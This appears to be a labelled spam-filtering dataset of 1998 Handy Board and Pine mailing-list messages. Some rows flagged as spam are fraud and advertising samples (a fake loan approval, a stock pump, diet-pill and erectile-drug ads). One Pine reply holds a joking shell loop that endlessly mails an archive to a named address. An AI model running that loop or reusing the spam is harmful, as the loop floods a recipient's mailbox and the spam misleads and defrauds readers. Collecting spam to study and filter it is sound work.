heavens, but praise the stars, and be humble before your brother, for we are one. >From a unix prompt, type ""man procmail"" >TT> Thanx Thank not, simply be. And remember, the notion of self is the cure for logical thought. Pathisattva Farabee ",0,0 Sam Lee ,"'Brett Anthony' , ""handyboard@media.mit.edu"" ","Thu, 29 Jan 1998 13:23:30 -0800",RE: Brennan Mair: Replacement Components,"LittleFuse makes an identical replacement for the PolyFuse one. Don't have a name of a distributor on hand except for Sterling Electronics. Do a web search on LittleFuse and you should be able to get something. Hope this helps. Sam Lee Design Engineer TSI, Inc. PO Box 64394 St. Paul, MN 55164-0394 slee@tsi.com -----Original Message----- From: Brett Anthony [SMTP:anthonyb@ecs.csus.edu] Sent: Thursday, January 29, 1998 8:59 AM To: handyboard@media.mit.edu Subject: Brennan Mair: Replacement Components I'm no authority, but you might get away with a 3 amp fuse in a pinch. However, the Polyswitch fuse is actually a PTC Thermistor designed to work as a sort of solid state circuit breaker. These have a variety of names; look for ""PTC fuse"", ""PTC current limiter"", PTC resettable"", or the like, listed either under ""fuse"" or ""thermistor"". You need one which will carry a current of 2.5 amps, but will shut off at a maximum of 5 amps, with a 0.2 inch lead spacing. I know of no reason why you cannot substitute for the ZTX614. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 Jeroen van der Vegt ,HandyBoard mailing list ,"Thu, 29 Jan 1998 21:44:16 +0100",Off topic: right font on MSIE4,"A lot of you guys (and girls) send-in nice ASCII schematics. The point is, they look really messed up in MSIE4.0's OutLook, since I find type-fonts like the good-old Courier, only 'Courier new', which is no good either. Does anybody now a solution to this problem (like how to get OutLook to view non-TrueType fonts) other than saving the file and open it in a program which does support Courier? Jeroen van der Vegt A.J.vanderVegt@ET.TUDelft.nl ",0,0 Mair Mccallon ,mailarch+pine-info@groupms.cac.washington.edu,"Thu, 29 Jan 1998 08:49:36 -0700",Re: your AMBtyEN,"Hi V X L A V C P A a e m I I r L n v b A A o I a i i G L z U x t e R I a M ra n A S c http://www.monibulations.com Gandalf, and he sat a long while silent. Bilbo thought he knew what the wizard meant. What shall we do, he cried, if he leads all the Wargs and the goblins down here? We shall all be caught and killed! I thought you said he was not 9 friend of theirs. So I did. And dont be silly! You had better go to bed, your wits are sleepy. ",1,1 marco antonio assfalk oliveira ,Jeroen van der Vegt ,"Thu, 29 Jan 1998 15:51:06 -0700",Re: Off topic: right font on MSIE4," Hi, Try choosing a proportional font for displaying the messages (like 'system', or 'courier' or 'sans serif'). I don't use MSIE4 Outlook, this info is based on experience with the same problem using Netscape Messager. Hope it helps. Marco A.A. de Oliveira ------------------------------------------------------------------ Grad.student/ Research Asst. UNM/NASA ACE Center ACE SMART Project EECE Bldg. Rm.110 Soft-computing based Cooperative Albuquerque, NM Mobile Autonomous Robotics USA 87131 ------------------------------------------------------------------ Office: +1-505-277-1437 assfalk@eece.unm.edu Fax: +1-505-277-4681 Lab: +1-505-277-0297 http://ace.unm.edu ------------------------------------------------------------------ On Thu, 29 Jan 1998, Jeroen van der Vegt wrote: > A lot of you guys (and girls) send-in nice ASCII schematics. The point is, > they look really messed up in MSIE4.0's OutLook, since I find type-fonts > like the good-old Courier, only 'Courier new', which is no good either. Does > anybody now a solution to this problem (like how to get OutLook to view > non-TrueType fonts) other than saving the file and open it in a program > which does support Courier? > > Jeroen van der Vegt > A.J.vanderVegt@ET.TUDelft.nl > ",0,1 Shoeless in San Jose ,Pine Discussion Forum ,"Thu, 29 Jan 1998 18:00:13 -0800",Re: Request For Mariah Carey Pics?,"On Thu, 29 Jan 1998 Aloss4u@aol.com wrote: > please send me some pics please Better yet, just send me Mariah Carey! ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Fri, 30 Jan 1998 01:01:41 -0600",Re: composer-wrap-column,">From: viinikala/grif >Date: Wed, 28 Jan 1998 18:14:28 +0100 (MET) >anyone knows how to entirely turn off composer wrapping in pine? You can't. The maximum word wrap is 80 characters. If you must send long lines in the body of the message, you'll have to compose a text file and read it into the body of the message with ^r. Use the ""-w"" switch to turn off word wrap in pico. This will simply break lines after the 255th character. And, justifying will truncate the line if there are no space characters to break up the word to less than 255 characters.",0,0 Clara Bird ,handyboard@media.mit.edu,"Thu, 29 Jan 1998 17:37:07 -0600",Yours loan is approved nji,"Dear Homeowner, handyboard@media.mit.edu http://getloanz.net You have been approved for a $ 788,577 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://getloanz.net Best Regards Don Nut Loan Manager http://getloanz.net/redirect handyboard@media.mit.edu wrote: > We can approve yours loan 9e7k6d1k7m ",1,1 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 30 Jan 1998 09:09:38 -0000",Re: Deleting e-mail,"> Dear Pine, > I have over 380 e-mails in my inbox and I have tried to delete some of > them-They refuse to be deleted. How can I get my e-mails to be deleted? Enable ""aggregate-commands"" in the setup and read the documentation. -- My header is probably broken. My reply address is robin@franck.pc.uni-koeln.de ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Fri, 30 Jan 1998 17:42:49 +0800",Re: Deleting e-mail,"On Fri, 30 Jan 1998, Robin S. Socha wrote: > > Dear Pine, > > I have over 380 e-mails in my inbox and I have tried to delete some of > > them-They refuse to be deleted. How can I get my e-mails to be deleted? > > Enable ""aggregate-commands"" in the setup and read the documentation. Also, maybe the original poster didn't read about the eXpunge command? Ed -- Edward M. Greshko Technical Manager, Electronic Commerce GSM: +65-975-10860 Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 30 Jan 1998 09:12:46 -0000",Re: Request For Mariah Carey Pics?,"> From: Shoeless in San Jose > On Thu, 29 Jan 1998 Aloss4u@aol.com wrote: > > please send me some pics please > Better yet, just send me Mariah Carey! #!/bin/sh mv xfree.tgz mariah.tgz while true do zcat mariah.tgz | mail batchman@slip.net done Ok? -- My header is probably broken. My reply address is robin@franck.pc.uni-koeln.de",0,0 """Rosemary K. Bradas"" ",Pine Discussion Forum ,"Fri, 30 Jan 1998 08:33:05 -0600",email attachment,"Can anyone accurately tell me how to attach a Microsoft Word document to a pine email message so that it will arrive alive and unharmed? ",0,0 Stacey Levy ,mailarch+pine-info@groupms.cac.washington.edu,"Fri, 30 Jan 1998 03:45:49 -0500","Eat not to dullness, drink not to elevation","and sue it avionic try vagina a horrendous try consular ",1,0 """H. Bork"" ",Pine Discussion Forum ,"Fri, 30 Jan 1998 17:15:45 +0100",Re: PC Pine Download Problems,"... _ KB> http://ftp.cac.wahington.ecu/pine/pcpine/pcp_w32.zip"". _You misspelled the URL, it's edu, not ecu :-) ... and washington , not wahington ... and ftp:// , not http:// have a nice week-end. Kind regards, -- hal :-) ---------------------------------------------------------- bork@plb.de ",0,1 Mingjun Gao ,Pine Discussion Forum ,"Fri, 30 Jan 1998 09:09:16 -0800",Information Wanted,"Hi, Could you provide me with some information on how to use Unix to search for news such as ""can.jobs"". Any information is highly appreciated. Ming-Jun Gao ---------------------------------------- Ming-Jun Gao Department of Agronomy and Range Science University of California Davis, CA 95616 Phone: (530)752-3487/8123(Lab) (530)759-8369(H) Fax: (530)752-4361 E-mail: mgao@ucdavis.edu ---------------------------------------- ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Fri, 30 Jan 1998 11:12:28 -0600",Re: email attachment,">From: ""Rosemary K. Bradas"" >Date: Fri, 30 Jan 1998 08:33:05 -0600 (CST) >Can anyone accurately tell me how to attach a Microsoft Word document >to a pine email message so that it will arrive alive and unharmed? While composing a message, put the cursor in the headers and hit ^j and enter the filename. It's that simple. You are, of course, positive, that the receipient can read Word, right? With respect to ""unharmed"", there's nothing pine can do about that. pine doesn't handle mail transport. Each of the machines along the path to the final machine must be properly configured to handle MIME attachments. All you can do is hope for the best.",0,0 """Margaret A. Thomas"" ",Pine Discussion Forum ,"Fri, 30 Jan 1998 12:24:18 -0500",Including Original Message in Reply,"Hello , I've subscribed to this list for about 2 months now and I have learned quite a bit from it and am grateful for your technical expertise. I would, however, like to voice a pet peeve. When you include the original message in your posts, would you please put it after your message? I am blind and use speech for access and having the quote first is time consuming and a bit annoying. If I am reading your post, I am usually familiar with the thread and can silence my machine and go on to another post. I realize this takes some extra work, but it would help insure your posts are read and make the time on the Internet more productive for those of us using access devices. Thank you, Margaret ",0,0 Lea ,Pine Discussion Forum ,"Fri, 30 Jan 1998 10:44:07 -0700","Margaret's peeve, and a question"," Thanks, Margaret, for a point of view it wouldn't have occurred to me to think of. It's a kind of rock-and-hard-place thing from my perspective - for myself, I prefer to have quotes first rather than last because (and especially if there's a timelapse between the original post and the reply) it's easier to pick up on the discussion thread when the stream is chronological - quote/reply/quote/reply...It hadn't occurred to me that that might be a problem for some. I wonder if there's a solution that would suit everyone, at least to some extent....I'll have to give that some thought. And my question was................I have a client who wants to save mail to folders, sans header. Doesn't want anything except maybe date and sender. Is it possible to do that? Anyone have an idea how? Please let me know... Marianne ----------------------------------------------------------------------------- Marianne Aldridge (Lea) CNS Consulting Team; Helpdesk maldridg@gpu.srv.ualberta.ca OR helpdesk@gpu.srv.ualberta.ca 492-9380 (voicemail) OR 492-9400 (helpdesk) http://www.ualberta.ca/~maldridg/tutor/Tutorials.html http://gpu.srv.ualberta.ca/~maldridg/Wiz/Wizard '...But I didn't mean to be brave; it just sort of happened when I panicked...' -Piglet ----------------------------------------------------------------------------- ",0,1 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 30 Jan 1998 18:09:35 -0000",Re: Information Wanted,"that'd be www.dejanews.com Now, where are those brackets... Umm... Ok, here zou go: <> Cheers, Robin -- 1. Mz signature drowned in the Channel... 2. I did not choose this mail program. 3. British kezboards are not KeWL... ---------- > From: Mingjun Gao > To: Pine Discussion Forum > Subject: Information Wanted > Date: 30 January 1998 17:09 > > Hi, > > Could you provide me with some information on how to use Unix to search > for news such as ""can.jobs"". > > Any information is highly appreciated. > > Ming-Jun Gao > > ---------------------------------------- > Ming-Jun Gao > Department of Agronomy > and Range Science > University of California > Davis, CA 95616 > Phone: (530)752-3487/8123(Lab) > (530)759-8369(H) > Fax: (530)752-4361 > E-mail: mgao@ucdavis.edu > ---------------------------------------- >",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 30 Jan 1998 18:08:47 -0000","Re: Margaret's peeve, and a question","Sure... Do a websearch for a script called printmail (which is part of elm IIRC). That will do exactlz what that person's looking for... Hmmm... I'm starting to like that verz funnz spelling thing here... Cheers, Robin -- 1. Mz signature drowned in the Channel... 2. I did not choose this mail program. 3. British kezboards are not KeWL... ---------- > From: Lea > To: Pine Discussion Forum > Subject: Margaret's peeve, and a question > Date: 30 January 1998 17:44 > > > Thanks, Margaret, for a point of view it wouldn't have occurred > to me to think of. It's a kind of rock-and-hard-place thing from > my perspective - for myself, I prefer to have quotes first rather > than last because (and especially if there's a timelapse between > the original post and the reply) it's easier to pick up on the > discussion thread when the stream is chronological - > quote/reply/quote/reply...It hadn't occurred to me that that > might be a problem for some. I wonder if there's a solution that > would suit everyone, at least to some extent....I'll have to give > that some thought. > > And my question was................I have a client who wants to > save mail to folders, sans header. Doesn't want anything except > maybe date and sender. Is it possible to do that? Anyone have > an idea how? > > Please let me know... > > Marianne > > ---------------------------------------------------------------------------- - > Marianne Aldridge (Lea) CNS Consulting Team; Helpdesk > maldridg@gpu.srv.ualberta.ca OR helpdesk@gpu.srv.ualberta.ca > 492-9380 (voicemail) OR 492-9400 (helpdesk) > http://www.ualberta.ca/~maldridg/tutor/Tutorials.html > http://gpu.srv.ualberta.ca/~maldridg/Wiz/Wizard > > '...But I didn't mean to be brave; it just sort of happened when I panicked...' > -Piglet > ---------------------------------------------------------------------------- - > > > >",0,1 Noone Special ,Pine Discussion Forum ,"Fri, 30 Jan 1998 16:31:54 -0500",Re: Margaret's peeve,"You could always set a filter up that discards any line beginning with a greater than sign. The greater than sign is, of course, the standard ""This line is quoted"" symbol. Perhaps you have a friend that can help with such a project? Pat ",0,0 Matt Kelly ,Pine Discussion Forum ,"Fri, 30 Jan 1998 14:09:00 -0800",finding pico,"I am not a member of the mailing list. I came across various references to this in a search for pico. I have recently signed up with a new ISP. I was happy to know that they did offer a shell acount. But when I logged into my shell I found that they had next to no programs there for use. I have been given the go ahead to install some programs for them. I have located elm, and will be istalling that over the weekend. I know that it needs to be linked to a text editor. Since all they have is vi (yuck!) I need to install pico. Not just for elm do we need pico, just for ease of editing in general. Where may I find pico and instructions for installation? please reply to me directly, as I am not a member of this list. Thank You Matt Kelly im@rf.net ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Fri, 30 Jan 1998 16:05:07 -0600",Re: finding pico,"posted and mailed >From: Matt Kelly >Date: Fri, 30 Jan 1998 14:09:00 -0800 >Where may I find pico and instructions for installation? ftp ftp.cac.washington.edu Obtain the pine 3.96 tar, with a choice of gz or Z compression, from the pine directory. You'll find the pico editor in the pine tar.",0,0 "Foreclosure.Trac@ibm.net, ""Inc."" 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Ming-Jun ---------------------------------------- Ming-Jun Gao Department of Agronomy and Range Science University of California Davis, CA 95616 Phone: (530)752-3487/8123(Lab) (530)759-8369(H) Fax: (530)752-4361 E-mail: mgao@ucdavis.edu ---------------------------------------- ",0,0 Brian Butscher ,Pine Discussion Forum ,"Fri, 30 Jan 1998 20:44:34 +0430",PINE e-mail,"I downloaded the compressed binary pine 3.96 files to my PC then transferred the pine file to diskette and the used dosread (without the -a parameter) on a RS/6000 to transfer the binary file to the RS/6000. I then used the uncompress command to uncompress the file. There is something else I need to do with this file to get PINE to work on the RS/6000 but I haven't figured that out. Any ideas or helpful suggestions? If this is a binary file do I need to download the ""makefile"" you reference in your README documentation? HELP! Thanks in advance for your suggestions! Brian ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Sat, 31 Jan 1998 01:28:19 -0600",Re: Information Wanted,"posted and mailed >From: Mingjun Gao >Date: Fri, 30 Jan 1998 17:51:59 -0800 (PST) >I really appreciate your information. Through the 'dejanews', I really can >find a lot of jobs. But I can not find what I want. I want to find a job >in Canada in life sciences. Could you give me more guidance? How can I >reach newsgroup: can.jobs specifically? You have been told repeatedly that the pine-info mailing list is for discussion of the pine executable, a user agent for Internet mail. You cannot ask for information on seeking jobs in Canada through this mailing list! You didn't send your reply to Robin, but to the list. If your system administrator has set up pine for news reading, yes, you can read can.jobs. Look at the folder list (""l"" from the main menu) and hit ""?"" for help. Read about folder collections as you need to create a news collection. Then, go to your configuration file (s, then c, from the main menu) and read the help ""?"" for folder collections and news collections. You must be able to read news via NNTP or IMAP. If you need further help, ask your system administrator. We can't tell you what your news server is!",0,0 Wm ,handyboard@media.mit.edu,"Fri, 30 Jan 1998 19:55:48 -0700",your doc,"I just wanted to write to you guys to tell you how great Ephedra Max works for me. I�ve been over-weight most of my life and refuse to diet. I want to eat real food, not diet stuff. Your pills let me loose the weight without eating salads every day and I can�t thank you enough. I feel so much better. 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All you can do > is hope for the best. Everything is OK....except for your last statement. One of the goals of MIME was to make it such that no MTA in the middle need to know anything about MIME. So, there is no requirement that any MTA be configured in any way to handle MIME attachments. Ed -- Edward M. Greshko Technical Manager, Electronic Commerce GSM: +65-975-10860 Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE",0,0 Mike ,Remsey ,"Sat, 31 Jan 1998 02:09:15 -0400",Tell me..,"If ur still seeking to save 43 per cnet on ur goodies, then come here www.hazewhiteyellowforit.com/12/. Minor Mountain way Stewart is a 63-64. In 332 B.C. Alexander marched into Egypt. The Egyptians magical Milton did place were not like the Persian rule, so they welcomed Alexander ",1,0 Jim Lill ,Pine Discussion Forum ,"Sat, 31 Jan 1998 09:46:54 -0500",gzip and pine," Is there a recommended way to have pine access sent-mail-???-?? folders that have been gzip'd? Or, is there any intention to add that feature to pine? Thanks in advance and of course...... thanks for pine!! -Jim Lill http://www.vectorbd.com/users/jpl ",0,1 LACAZE Christophe ,handyboard@media.mit.edu,"Sat, 31 Jan 1998 12:46:52 +0100",SPI <----> I2C interface,"Hello all, I would like to connect I2C processors to the Handy Board SPI Interface. Does anyone have a good source and hardware modification to do that ? Thanks a lot. artone@club-internet.fr ",0,0 """Carol T.C.Lo"" ",Pine Discussion Forum ,"Sat, 31 Jan 1998 23:30:48 +0800",," Dear Sir, I am very mingled by the pine system. MY inbox massage are always eatten up without pior notification. All my in-coming mag disappear and nothing is left in the mail box. Why is it so? Can I do something to prevent it from happening again. By the way, there is always a small e appears at the bottom of each mail I write, like the one here in the following. e Since my mailbox is unable to receive any incoming mail, so could you please reply me by the following mail add: jervielo@hotmail.com Yours Carol ",0,0 Talent-Management ,Pine Discussion Forum ,"Sat, 31 Jan 1998 08:04:57 -0800",Re: Max Addressbook Size,"> > I have experimented with the addressbook (.adr) size, and found out that > > at about the 1,100 address level, it won't take anymore. I don't think > > it counts the exact number of addresses, but I think it does count the > > number of bytes in the header or the BCC. Any comments? > > We have a global addressbook with 10753 addresses in it, and growing. We > rebuild it from scratch with a cron job, so there's no cruft left over > from earlier incarnations. How are you building yours? I am simply using PINE's ""Take Address"" function. After a certain size, it (pine 3.91) won't take any more. I have, however, copied very large address lists from a file into the message body, and then moved them into the BCC, and this worked fine. So maybe the problem is that this pine can mail large numbers but it just can't take that many using its own function. Bryan ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Sat, 31 Jan 1998 10:59:59 -0600",Re: email attachment,"If you reply to the list, there is no need to send me a separate reply. >From: Edward M Greshko >Date: Sat, 31 Jan 1998 18:06:07 +0800 (GMT) >On Fri, 30 Jan 1998, Adam H. Kerman wrote: >>With respect to ""unharmed"", there's nothing pine can do about that. pine >>doesn't handle mail transport. Each of the machines along the path to the >>final machine must be properly configured to handle MIME attachments. >Everything is OK....except for your last statement. My last statement was, ""Hope for the best."" >One of the goals of MIME was to make it such that no MTA in the middle need to >know anything about MIME. So, there is no requirement that any MTA be >configured in any way to handle MIME attachments. We have had quite a bit of discussion about machines truncating and rewriting headers, or choosing to pass only certain headers. I suggest that such machines are not properly configured to handle MIME attachments. If any such machines are along the path that mail travels from sender to receipient, the attachment won't be unharmed. The headers must survive transport! Otherwise, it ain't MIME; it's garbage.",0,0 volcanik ,Pine Discussion Forum ,"Sat, 31 Jan 1998 12:38:54 -0500",question,"I wanted to know if there was a way to copy text from Pine and paste it in a text editor and save it as a text file automatically on a Win95 platform. When I say automatically, i mean there is no user interaction, only a program which copies and pastes automatically at given time intervals. any info would be appreciated, thank you. -Ashish ",0,0 Amelia ,handyboard@media.mit.edu,"Sat, 31 Jan 1998 11:39:53 +0000",Beneficial cooperation based on expert stock advice New,"Measurements and stock recommendations from top analysts Stock analysis tools and tips meant to increase long-term profits Movements of stock and market tendencies analyzed Just take a look: CHINA GOLD CORP Symbol: CGDC Current Price: 1.90 You can see China’s developing gold boom is building momentum. Rare opportunity for early investors! Why consider CHINA GOLD CORP (CGDC)? See nowadays what happened: • Rising gold prices are further accelerating this gold rush - The price of gold has up 250% over the past five years, and this is still only a quarter of when the price peaked 25 years ago. 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Bradas"" ",Pine Discussion Forum ,"Sat, 31 Jan 1998 12:59:03 -0600",what does this mean?,"Several times in email msgs I have received the following: [The following text is in the ""iso-8859-1"" character set] [Your display is set for the ""US-ASCII"" character set] [Some characters may be displayed incorrectly] Where does this message come from? Is it automatically generated by pine? How do you know when someone's display might garble your message? ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Sat, 31 Jan 1998 11:29:24 -0800",Re: question,"""Automatically"" ""No user intervention""?? The answer is no as you ask it. You miss out many details of exactly what you are working with, but let's make a few assumptions. Presumably, you have telnetted into an account from a Win95 machine, and have invoked Pine remotely to read your mail (it would have helped if you had told us how you were doing this but it seems like maybe this is how you're doing it) Just highlight, copy, and paste whatever text is of interest into Notepad from your telnet client screen. (bundled client with Win95 or some client like NetTerm). Maybe I'm missing something here, but that's how I read this. On Sat, 31 Jan 1998, volcanik wrote: > I wanted to know if there was a way to copy text from Pine and paste it > in a text editor and save it as a text file automatically on a Win95 > platform. When I say automatically, i mean there is no user interaction, > only a program which copies and pastes automatically at given time > intervals. > > any info would be appreciated, thank you. > > -Ashish > ",0,0 Snomonky66@aol.com,Pine Discussion Forum ,"Sat, 31 Jan 1998 16:19:40 -0500",welfare land,"what is this crap thing ",0,0 """Adam H. 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Not those concerning the monseigneur in Paris; he was secondary now and could be reached in minutes, if it was necessary. That could wait, but the other could not wait, not an instant longer! The general picked up his phone and rang his secretary. ",1,1 Camden Irvine ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 31 Jan 1998 21:41:57 -0700",Re: your AMBtExN,"Hi V L P A C V X I e r m I A a A v o b A L n G i z i L I a R t a e I U x A ra c n S M http://www.temaferte.com Where are the Eagles? he asked Gandalf that evening, as he lay wrapped in many warm blankets. Some are in the hunt, said the wizard, but most have gone back to their eyries. They would not stay here, and departed with the first light of morning. Dain has crowned their chief with gold, and sworn friendship with them for ever. ",1,1 Edward M Greshko ,Pine Discussion Forum ,"Sun, 01 Feb 1998 08:00:36 +0800",Re: email attachment,"On Sat, 31 Jan 1998, Adam H. Kerman wrote: > My last statement was, ""Hope for the best."" That's always the case within the Internet. :-) :-) > We have had quite a bit of discussion about machines truncating and rewriting > headers, or choosing to pass only certain headers. I suggest that such machines > are not properly configured to handle MIME attachments. If any such machines > are along the path that mail travels from sender to receipient, the attachment > won't be unharmed. The headers must survive transport! Correct. However, these MTAs are simply *broken*. Their choice to mangle headers has nothing to do with the headers being MIME or not. Chances are very good that the MTAs in question predate MIME. > Otherwise, it ain't MIME; it's garbage. Yep.... Regards, Ed -- Edward M. Greshko Technical Manager, Electronic Commerce GSM: +65-975-10860 Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Sun, 01 Feb 1998 08:05:10 +0800",Re: what does this mean?,"On Sat, 31 Jan 1998, Rosemary K. Bradas wrote: > Several times in email msgs I have received the following: > > [The following text is in the ""iso-8859-1"" character set] > [Your display is set for the ""US-ASCII"" character set] > [Some characters may be displayed incorrectly] > > Where does this message come from? It is created by pine when the ""charset"" parameter in the MIME headers do not match what is set for your system. > Is it automatically generated by pine? Yes, it is an informative message only. > How do you know when someone's display might garble your message? You don't. Regards, Ed -- Edward M. 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When I get the e-mail I can read the message but the system will not allow me to view the attached picture that has been scanned and sent. If you could please tell me what I am doing wrong or if it can be done it would be appreciated. Thank you for your time. Sincerely, Kevin Mcgrogan ",0,0 """info.emo"" ",handyboard@media.mit.edu,,You are still thinking of getting Soft Cialis Tabs for the best erection.,For your wife�s l@$t b-day you g@ve her a vibrator because of your hopeless Erectile Dysfunction. By taking our new Soft Cialis Tabs you are bound to give her the best sex ever instead of miserable �battery dick�.1 http://bzsrdb.0x5unlodouogmi0b500tn0i0.cuckkf.com,1,1 Edward M Greshko ,Pine Discussion Forum ,"Sun, 01 Feb 1998 15:10:16 +0800",Re: Attachments,"On Sun, 1 Feb 1998, Kevin W Mcgrogan wrote: > I was wondering how to make a picture appear on my pc when my > brother scans a picture and sends it. When I get the e-mail I can read the > message but the system will not allow me to view the attached picture > that has been scanned and sent. If you could please tell me what I am > doing wrong or if it can be done it would be appreciated. Thank you for > your time. You seem to be running pine under Solaris. This mean you must be using some sort of telnet session to your Sun box to run pine. If this is the case then the data file (picture) resides on the Sun box...but the application to render the picture is on your PC. So, one method, is to save the picture to the disk on the Sun and then transfer it to the PC and run the application to render it. Without knowing your HW/SW setup it is difficult to advise an exact method to accomplish the task. Maybe your ""helpdesk"" could be of assistance? Regards, -- Edward M. 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Code is posted. Useful when more precision is needed in analog measurements, 4096 discrete points rather than the limited 256 points. Look under design & ideas Embedded Acquisition Systems 1565 Shrader Street San Francisco, CA 94117 WEB http://www.hooked.net/~jfong EMAIL jfong@hooked.net ",0,1 Randy Sargent ,Stacker ,"Mon, 02 Feb 1998 10:38:22 -0800",Re: PCODE_HB.S19,"IC 3.1 works fine on Handyboards without LCD. See http://www.newtonlabs.com/ic -- Randy Stacker wrote: > There was a mention at one time about a version of the pcode and ic that will work with a HB without a LCD screen is that still available and where can I get me a copy? Thanks. > > Joshua Stark > j-stark@uiuc.edu > Inspiring Computer Engineering Major ---------------------------------------------------------------- Randy Sargent Newton Research Labs President Robotic Systems and Software rsargent@newtonlabs.com http://www.newtonlabs.com/ ",0,1 dthomp@medet.unm.edu,HANDYBOARD@media.mit.edu,"Mon, 02 Feb 1998 12:18:45 -0700",Memory Stats,"I recently attempted a download of code from IC-3.1 to a Handy Board, including some large arrays and other global variables. I then got an error message that there was an apparent conflict because I had used too much space. While I cleaned things up, I am interested in knowing if there is anything written down about space utilization and management within the HB or by IC. I also am a bit perplexed by almost 8Kbytes of ""interrupts"" loaded by IC???? That's a lot of ""interrupts!"" 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You will now need to place your board in download mode again. upon reset the config is still 0xFF. +0 +1 +2 +3 +4 +5 +6 +7 +8 +9 +A +B +C +D +E +F 103F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ............... this one is using PCbug. This is a factory fresh MCU, (I have a box of them this is why I would really like to use them) any information on this problem and how to correctly set the config register would really be of help. Thanks, Quinn Marshal ",0,0 Charna Wiese ,handyboard@media.mit.edu,"Tue, 03 Feb 1998 18:23:48 -0700",Re: your CtAgLlS,"Hi C A V X L P V I m I a e r A A b A n v o L L i G a i z I I e R x t a U S n A ra c M http://www.temaferte.com green front-door. Then he strode away, just about the time when Bilbo was finishing his second cake and beginning to think that he had escape adventures very well. The next day he had almost forgotten about Gandalf. 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So I'll say at the same time, many thanks to Dr Martin for his designs and input, they are invaluable - thanks again! I'm into 4 and 6 legged robots at present, so if anyone wants to discuss these in relation to Handboards, neural nets, subsumption architecture, BEAM bots etc. please drop me a line! * RM 1.2 * Eval Day 129 * RoboMail -- The next generation QWK compatible read r!",0,0 Will Bain ,handyboard@media.mit.edu,"Wed, 04 Feb 1998 02:13:50 -0700",Connecting a second sonar module,"I'm curious about connecting two of the Polaroid sonar modules to the Handy Board v1.2. Does anyone know whether ports PD2, PD3 and TIC2 can be used to hook up the second unit in the same way that PD4, PD5 and TIC3 are used for one unit? Or is there a better way to do it that wouldn't use up so many of the ports (e.g., both modules sharing the same BINH and/or ECHO signals)? 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Please place board in download mode and press RETURN To quit, press Q For help, press H Downloading 256 byte bootstrap (229 data) ................................................................ ................................................................ ................................................................ .....................................___________________________ Download successful Config is 0xFF Board's config register is incorrect. Initializing config register to 0x0C. ----- ----- ------ This is with DLM. C:\\IC>dlm pcode_hb.s19 -512 -be DLM: 6811 File Downloader with Intelligent EEPROM burn by Fred Martin portions (C) 1992 by Randy Sargent Version 2.4 Jun 8 1995 05:47:06 Downloading pcoderwl.s19, press ESC to abort Downloading eeprom loader to RAM at 1200 baud... ................................ ................................ ................................ ................................ ................................ ................................ ................................ .............___________________ Then it stops at this point everytime, I am using Dos 6.22 w/o windows 95, on a pentium 133, both of these programs work fine on the othe MCU's. The only thing different is when I check the register for the other A1 after setting the reg to something like 0D, the rest of the register has other data in it. The 811e2 when checked shows only 0xFF all the why through the whole register?? I ordered these from Motorola, and they should be good, I got a box. Does anyone know what the default reg for the e2 is? Thanks again, Quinn Marshal ps. have a box of e2's, cheap. :) ",0,0 Camille Viars ,handyboard@media.mit.edu,"Wed, 04 Feb 1998 06:24:49 -0700",Re: your VAlLtUM,"Hi P V A X V C L r I m a A I e o A b n L A v z G i a I L i a R e x U I t c A n M S ra http://www.divgante.com resource far exceeding his size, and if I may say so possessed of good luck far exceeding the usual allowance-now is the time for him to perform the service for which he was included in our Company; now is the time for him to earn his Reward. You are familiar with Thorins style on important occasions, so I will not give you any more of it, though he went on a good deal longer than this. It certainly was an important ",1,1 """David W. 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My question is, where is pa7 > brought out? The schematics and parts layout drawings have only confused > me. The crude drawing below is where I think it might be, please > help me out, my robot is anxious to walk! Looking at the digital and analog sensor headers: live signal [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] +5v [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] ground [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] sensor# 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 The whole row labeled ""+5v"" is a source of +5v power. The whole row labeled ""ground"" is a source of ground. The row labeled ""live signal"" is 15 different signal pins. To attach to the 9600 baud output, you must connect from the live signal line of sensor 9, and any ground. You might as well use the ground beneath the sensor 9 signal. It would connect to an RJ11 plug (to go into the HB serial interface) as follows: RJ11 plug (metal side up) +-------------------+ | | | ========|# | ========|# ground -------------------------+-----------========|# sensor signal 9 ----------------+-----------========|# | | +-------------------+ Fred ",0,0 """Fred G. Martin"" ",Will Bain ,"Thu, 05 Feb 1998 08:51:13 -0500",Re: Connecting a second sonar module ,"> I'm curious about connecting two of the Polaroid sonar modules to the Handy > Board v1.2. Does anyone know whether ports PD2, PD3 and TIC2 can be used to > hook up the second unit in the same way that PD4, PD5 and TIC3 are used for > one unit? Or is there a better way to do it that wouldn't use up so many of > the ports (e.g., both modules sharing the same BINH and/or ECHO signals)? Sure, there's no reason you could set it up to use PD4, PD5, and TIC3 for a 2nd sonar. you might be able to get away with some signal 